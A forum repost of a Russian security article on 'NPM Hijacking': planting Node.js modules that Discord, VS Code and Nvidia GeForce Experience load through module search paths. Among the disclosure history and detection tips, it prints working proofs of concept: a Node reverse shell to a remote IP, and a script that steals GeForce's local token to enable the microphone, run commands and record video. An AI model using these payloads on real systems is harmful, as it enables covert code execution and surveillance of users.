advertising advertising advertising advertising advertising advertising advertising advertising advertising advertising advertising

NPM Hijacking. Встраиваем произвольный код в приложения на Node.js

BlackPope

Местный
Регистрация
27.04.2020
Сообщения
242
Реакции
34
Знаешь ли ты, сколько интерпретаторов Node.js работает на твоем компе? А сколько в них дыр? С веб‑страниц JavaScript пришел на серверы, а с серверов — на десктопы, и вот старые баги заиграли новыми красками. В этой статье я покажу, как работает NPM Hijacking (Planting) — уязвимость Node.js, которая нашлась во многих популярных приложениях, среди которых Discord и VS Code.

В основе этой статьи — мой доклад, который я читал на ZeroNights 2018, но по разным причинам выход материала затянулся. Одной из причин были намеки Nvidia, что хорошо бы подождать до следующего патча, где найденную мной проблему хотели решить, выкинув Node.js целиком. В результате я мог вообще забыть об этой теме, если бы антивирусные компании не стали находить вредоносное ПО, которое использует схожую с описанной в моем докладе технику.

Если хочешь быстро пробежаться по моим находкам, посмотри слайды презентации, а в статье я рассмотрю проблему более детально. Почему так вышло, что создатели малвари отнеслись к моей находке с большим интересом, чем разработчики софта?

INFO​


Словосочетание NPM Package Hijacking уже могло тебе встречаться в исследовании, которое было опубликовано Нейтаном Джонсоном в 2016 году. Однако я расскажу об иной технике, и совпадение здесь в основном в названии.

NODE.JS EVERYWHERE​


Началась эта история, когда я еще вел в «Хакере» ежемесячные обзоры эксплоитов. Чтобы пользоваться всеми прелестями формата Markdown, я писал статьи в одном модном тогда редакторе и случайно обнаружил уязвимость типа XSS в модуле предпросмотра статьи. Я всего‑то забыл добавить кавычки, чтобы обрамить код очередного эксплоита, и вскоре докопался до RCE!

Я несколько раз отправлял разработчикам информацию об уязвимости, но руки до этого бага у них, видимо, так и не дошли. В очередной раз об этой проблеме я вспомнил, когда наткнулся на статью человека, нашедшего все ту же уязвимость в редакторе Atom.

Это вдохновило меня продолжать исследование и поискать похожие программы. Ведь Node.js в целом и движок Electron в частности все больше набирают популярность и используются во многих распространенных приложениях. Тут тебе и продукты Adobe, и апдейтеры разных игр, редакторы кода и текста, мессенджеры (в том числе «защищенные») и прочий софт. Node.js часто используется для создания установщиков и апдейтеров — Adobe попала в мой список именно так. Или можно вспомнить Nvidia GeForce Experience — утилиту, которая следит за обновлениями другого ПО Nvidia. Она тоже написана на модном нынче Node.js.

Приложения на Electron включают в себя браузер, основанный на Chromium, а к нему обычно идет локальный веб‑сервер — он тоже входит в программу и запускается вместе с ней. Так и получается, что на твоем рабочем компе внезапно крутится куча серверного софта. Вот только сисадминов у этого софта нет, а уязвимости или слабые места в защите по‑прежнему могут быть проблемой. Об эксплуатации одной из таких слабостей мы и поговорим.





В презентации я проиллюстрировал разницу между серверным и десктопным софтом картинками из одной известной игры

NPM HIJACKING (PLANTING)​


В «Хакере» уже не раз писали о DLL Hijacking, он же DLL/Binary Planting или Preloading. Эта техника работает так. Если разработчик не указал явным образом пути для загрузки библиотек DLL в своем исполняемом файле, то операционная система будет искать эти библиотеки по путям, перечисленным в переменной PATH (в том числе в Windows, подробнее — в официальной документации). Подложив в какую‑то из этих папок вредоносный клон библиотеки, атакующий может исполнить произвольный код.

При загрузке модулей Node.js ищет папку node_modules по всем путям выше родительской директории вызываемого скрипта, проверяя их, пока не найдет нужный модуль. Получается что‑то вроде ../node_modules, где указателей на родительскую папку может быть произвольное количество. Более наглядно это представлено на картинке ниже.


Загрузка модулей Node.js

Думаю, ты уже догадался, почему я окрестил эту атаку NPM Hijacking по аналогии с DLL Hijacking. На исследуемых машинах я заметил многочисленные попытки загрузить скрипты из каталогов, перечисленных в переменной PATH, или домашнего каталога текущего пользователя. Уж эта‑то папка доступна без всяких повышенных прав, чем и могут воспользоваться вредоносы. Собственно, такие фокусы уже вовсю практикуются при атаках на веб‑серверы с «Нодой», но там защита в целом на более высоком уровне, чем на десктопе, поэтому такая проблема менее опасна.

УЯЗВИМОСТИ​


Давай теперь посмотрим, как эта особенность эксплуатируется в разных приложениях, внутри которых крутятся серваки с Node.js. Мы рассмотрим три примера:
  • Discord;
  • Visual Studio Code;
  • Nvidia GeForce Experience.

Discord​


Чат Discord знаменит возможностью общаться голосом, а сделан он на Electron. Неудивительно, что он уязвим перед NPM Hijacking, — проблему я обнаружил во времена версии 0.0.300, о чем и оповестил разработчиков. При запуске Discord ищет следующие скрипты, идя вверх по каталогам:
  • discord_utils.js;
  • discord_overlay2.js;
  • discord_game_utils.js;
  • discord_spellcheck.js;
  • discord_contact_import.js;
  • discord_voice.js.
Сам поиск и загрузка скрипта с точки зрения ОС выглядят как последовательный перебор следующих папок:
  1. C:\Users\User\AppData\Roaming\discord\0.0.300\modules\discord_desktop_core\node_modules
  2. C:\Users\User\AppData\Roaming\discord\0.0.300\modules\node_modules
  3. C:\Users\User\AppData\Roaming\discord\0.0.300\node_modules
  4. C:\Users\User\AppData\Roaming\discord\node_modules
  5. C:\Users\User\AppData\Roaming\node_modules
  6. C:\Users\User\AppData\node_modules
  7. C:\Users\User\node_modules
  8. C:\Users\node_modules
  9. C:\node_modules
  10. C:\Users\User\AppData\Roaming\discord\0.0.300\modules\discord_voice.js
По умолчанию с первого по девятый пункт операционная система ничего не обнаружит, если у тебя нет таких папок, и только потом (на пункте 10) Node.js начнет поиск скрипта, лежащего не в node_modules, а отдельно, как и сделано в Discord. Если нам доступна для записи папка пользователя, то мы можем подложить свою библиотеку так, чтобы она загрузилась, например, на пункте 7.

Такой несложный трюк позволит выполнить код от имени Discord.exe. То, что этот процесс имеет доступ к камере, микрофону и захвату экрана, делает ситуацию особенно пикантной.

В качестве теста создадим файл C:\Users\User\node_modules\discord_voice.js и попробуем из него вызвать калькулятор.

var exec = require('child_process').exec;

exec('calc');



Запуск калькулятора в Discord

Кстати, проблема касается всех платформ, и если вместо calc написать, например, gnome-calculator (если установлен Gnome) — PoC точно так же будет работать в Linux.

Ребятам из Discord надо отдать должное: они хоть и ответили мне, что такое поведение не подпадает под их программу Bug Bounty, но запатчили оперативно.

Кстати, если ты разрабатываешь на Node.js и иногда сталкиваешься со странным поведением некоторых программ, не исключено, что они загружали модули не той версии или вместо них находили какие‑то твои скрипты.

Visual Studio Code​


Следующий кандидат — популярный редактор кода Visual Studio Code. Здесь проблема с подгрузкой модулей коснулась одного из сторонних модулей — https-proxy-agent. В нем есть вот такой скрипт:

https-proxy-agentnode_modulesdebugsrcnode.js

Он пытается найти нестандартную библиотеку supports-color. Вот как выглядит участок кода, который привел к появлению уязвимости:

...

try {

var supportsColor = require('supports-color');

if (supportsColor && supportsColor.level >= 2) {

...


Путь не указан явно, из‑за чего поиск supports-color идет несколько криво.

...

C:program FilesMicrosoft VS Coderesourcesappextensionsnode_modulessupports-color

C:program FilesMicrosoft VS Coderesourcesappextensionsnode_modulessupports-color.js

C:program FilesMicrosoft VS Coderesourcesappextensionsnode_modulessupports-color.json

C:program FilesMicrosoft VS Coderesourcesappextensionsnode_modulessupports-color.node

C:program FilesMicrosoft VS Coderesourcesappnode_modulessupports-color

C:program FilesMicrosoft VS Coderesourcesappnode_modulessupports-color.js

C:program FilesMicrosoft VS Coderesourcesappnode_modulessupports-color.json

C:program FilesMicrosoft VS Coderesourcesappnode_modulessupports-color.node

C:program FilesMicrosoft VS Coderesourcesnode_modules

C:program Filesnode_modules

C:node_modules

C:UsersUser.node_modules

...


На этот раз давай напишем что‑нибудь поинтереснее, чем вызов калькулятора. Например, PoC для запуска удаленного (но не очень сильно, поскольку все происходит на локальной машине) шелла, причем с вариантом для Linux.

var net = require("net"),

cp = require("child_process"),

sh = cp.spawn("/bin/sh", []);

var client = new net.Socket();

client.connect(5001, "192.168.160.133", function() {

client.pipe(sh.stdin);

sh.stdout.pipe(client);

sh.stderr.pipe(client);

});



Запрос к «удаленному» шеллу в запущенном VS Code

INFO​


Если звезды сойдутся так, что пользователь вдруг решит открыть VS Code, чтобы изменить конфиги, на которые нужны права root, то и наш шелл выполнится от рута.

К сожалению, в Microsoft мне ответили, что не рассматривают такие локальные векторы (читай: пользователи сами виноваты в таких случаях), и на время публикации доклада проблема была актуальна. К слову сказать, в отличие от ситуации с Discord, тут действительно проблема влияет на ПО в меньшей мере, так как ошибка была в одном из загружаемых скриптов и срабатывала только в момент подсветки синтаксиса. У Node.js есть такая особенность, что из основного скрипта ты можешь обращаться к переменным вызываемого, но не наоборот, кроме разрешенных случаев. Но и тут можно попытаться найти обходные пути, что я и покажу в следующем примере.

GeForce Experience​


Nvidia — мой любимый вендор, не только потому, что мне нравятся видеокарты этой фирмы, но и потому, что баг, который мы изучаем, в утилите GeForce Experience дает поистине интересные возможности. Эта прога любезно следит за обновлениями драйвера видеокарты, а еще позволяет записывать видео и звук или стримить картинку. Все это работает через обычные HTTP-запросы к работающему локально веб‑серверу.

Проблема нашлась в скрипте utf-8-validate.js в модуле bufferutil. Вначале меня приободрило его название: я понадеялся, что смогу получить доступ ко всем передаваемым данным, но скрипт, хоть и загружается всегда, почти никогда не вызывался.

Ребята из Nvidia закрыли длинным токеном запросы к своему небольшому веб‑серверу, и я уже подумывал брутить этот токен, но все оказалось проще. Токен создавался при запуске программы и сохранялся в домашний каталог пользователя в удобном формате JSON, поэтому достаточно просто прочесть его.

Тут пришлось немного схитрить и положить рядом модуль для работы с сетью, потому что ошибка была найдена не в главном скрипте и доступа к уже загруженным выше модулям у нас не было (если вдруг знаешь, как его организовать, — пиши в комментах!).

В итоге нам надо считать токен и использовать его для отправки HTTP-запросов. Поэтому скрипт стал выглядеть следующим образом:

exports.Validation = {

isValidUTF8: function(buffer) {

var fs = require('fs');

var config = require("C:\Users\User\AppData\Local\NVIDIA Corporation\NvNode\nodejs.json")

fs.appendFile('D://pwn_secret.txt', config.secret, function (err) {

if (err) throw err;

console.log('Saved!');

});

var request = require('request');

// Micro

var formData = '{"mode":"alwayson"}';

var contentLength = formData.length;

request({

headers: {

'Content-Length': contentLength,

'Content-Type': 'application/json',

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.0 Safari/537.36 NVIDIACEFClient/61.3163.1651.1 NVIDIAOSCClient/3.12.0.84',

'X_LOCAL_SECURITY_COOKIE' : config.secret

},

uri: 'http://127.0.0.1:'+config.port+'/ShadowPlay/v.1.0/Microphone',

body: formData,

method: 'POST'

}, function (err, res, body) {

var fs = require('fs');

fs.writeFile('D://pwn_http.txt', body, function (err) { // for debug

if (err) throw err;

console.log('Saved!');

});

});

return true;

}

};


Мы здесь включаем постоянную работу микрофона, а ниже ты найдешь еще пару примеров. Выполнение команды:

...

// Installer

var formData = 'cmd'; // Command for execution

var contentLength = formData.length;

request({

headers: {

'Content-Length': contentLength,

'Content-Type': 'text/html',

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.0 Safari/537.36 NVIDIACEFClient/61.3163.1651.1 NVIDIAOSCClient/3.12.0.84',

'X_LOCAL_SECURITY_COOKIE' : config.secret

},

uri: 'http://127.0.0.1:'+config.port+'/gfeupdate/autoGFEInstall/',

...

Запись видео:

...

// Video recording

var formData = '{"status":true}';

var contentLength = formData.length;

...

uri: 'http://127.0.0.1:'+config.port+'/ShadowPlay/v.1.0/Record/Enable',

...


Если посмотришь другие скрипты на JS из состава GeForce Experience, то найдешь еще много замечательных функций. Например, включение стриминга. Как запустить запись экрана, можешь глянуть на видео. Кстати, индикатор записи можно скрывать.


Запускаем запись экрана

Для простоты я воспользовался функцией восстановления процесса после его неожиданного завершения, но все это сработало бы и после обычного перезапуска устройства.

Информацию об этой проблеме и о том, что токен хранится в открытом виде, я отправил в Nvidia еще в 2018 году. Из ответа я узнал, что в компании планируют избавиться от Node.js в приложении весной 2019 года.

Каково же было мое удивление, когда я увидел статью Дэвида Йесленда (David Yesland) о CVE‑2019‑5678, где он тоже воспользовался доступом к этому токену и смог проэксплуатировать все ту же проблему, но уже через удаленный вектор. Другой исследователь в том же приложении обнаружил DLL Hijacking (CVE‑2019‑5676), что схоже с найденной мной брешью. Тем временем GeForce Experience до сих пор использует Node.js...

КАК ИСКАТЬ​


Почему я считаю, что описанный баг — действительно проблема для разработчиков? Такое поведение встречается далеко не во всех скриптах, а лишь в нескольких, к тому же легко обнаруживается. Неважно, на какой ты стороне — Red Team, Blue Team или просто интересующийся безопасностью разработчик. Для поиска бага тебе понадобятся следующие вещи.
  • Трассировщик обращений к ФС. В Windows это ProcMon, в Unix-подобных системах (в том числе и macOS) — strace, DTrace или BCC (BPF Compiler Collection).
  • IDE или редактор кода. Большинство таких файлов не зашифрованы, так что подойдет любой редактор.
  • Chrome Debug Tools — это опционально, но некоторые разработчики забывают отключить отладочные функции, что позволяет без проблем подключиться к такому ПО.
Трассировщик ФС запускаем с фильтрацией по нужным нам параметрам. Например, если ты выбрал strace или DTrace:

strace -f app -e read 2>&1 | grep node_

А если у тебя есть BCC, то отфильтровать можешь так:

bcc/tools/statsnoop.py -x | grep app

На картинке ниже ты можешь видеть примеры фильтров для ProcMon — монитора процессов в Windows.

Если твой выбор за BCC, то его придется установить дополнительно, но поверь мне: если планируешь заниматься анализом ПО в Linux, то навыки работы с BPF тебе еще пригодятся.


Фильтры для ProcMon

Код при этом в большинстве случаев будет одинаковый или очень схожий на всех ОС.

NPM HIJACKING В ДИКОЙ ПРИРОДЕ​


О появлении вредоносного софта, который эксплуатирует схожую технику, я впервые узнал из твиттера @malwrhunterteam. Это был вредонос Spidey Bot, который эксплуатировал дыру в Discord («Хакер» о нем тоже писал).

Далее с некоторой регулярностью появляются новости о других подобных программах, к примеру AnarchyGrabber. Как видишь, злоумышленники использовали похожий трюк и, что самое грустное, атаковали все тот же Discord. Хотя, если учесть его популярность в последнее время, ничего удивительного.

Почему «похожий трюк», а не ровно тот же? Дело в том, что они просто перезаписывали JS-файлы поверх, то есть патчили программу. Это особенно просто, потому что мы имеем дело с файлами на JS, максимум упакованными в ASAR (аналог tar). И если такой файл вдруг обфусцирован, то, скорее всего, это как раз вредоносная программа.

ИМПАКТ​


Ты можешь не любить Electron за его аппетиты к оперативной памяти, однако на нем пишут достойный софт, так что при всем желании в ближайшее время от этой платформы нам никуда не уйти. Но нельзя забывать о проблемах, которые не были такими опасными на веб‑серверах и вдруг оказались актуальными на десктопах.

XSS, которые пачками сдаются в рамках разных Bug Bounty и обычно ценятся меньше, чем, к примеру, SQL-инъекции, на десктопе или в мобильном ПО могут привести к полноценной RCE. Вспомнить хотя бы уязвимость DNS Rebinding, которая раньше встречалась на вебе, а потом обнаружилась в игровом клиенте Blizzard.

И хотя NPM Hijacking — это по большей части то, что называется security weakness, такая атака может быть прекрасным элементом в цепочке эксплуатации. Она позволяет выполнять код от имени подписанных исполняемых файлов, причем в некоторых случаях с более высокими правами, чем у текущего пользователя. Либо вредонос может попытаться обмануть пользователя, так как запрос от UAC на повышение прав поступит от привычной ему программы.

Итого NPM Hijacking — неплохой инструмент в арсенале Red Team, потому что это:
  • просто и стабильно;
  • кросс‑платформенно;
  • можно назвать некой «ленивой» альтернативой Meterpreter;
  • может не отлавливаться детекторами аномалий, которые ждут подвоха скорее от обращения к сторонним веб‑ресурсам из Word, какого‑нибудь PDF Reader или выполнения команд через cmd или PowerShell. Здесь же код выполняется в рамках конкретной программы, которая и так работает с разными ресурсами.
 
Верх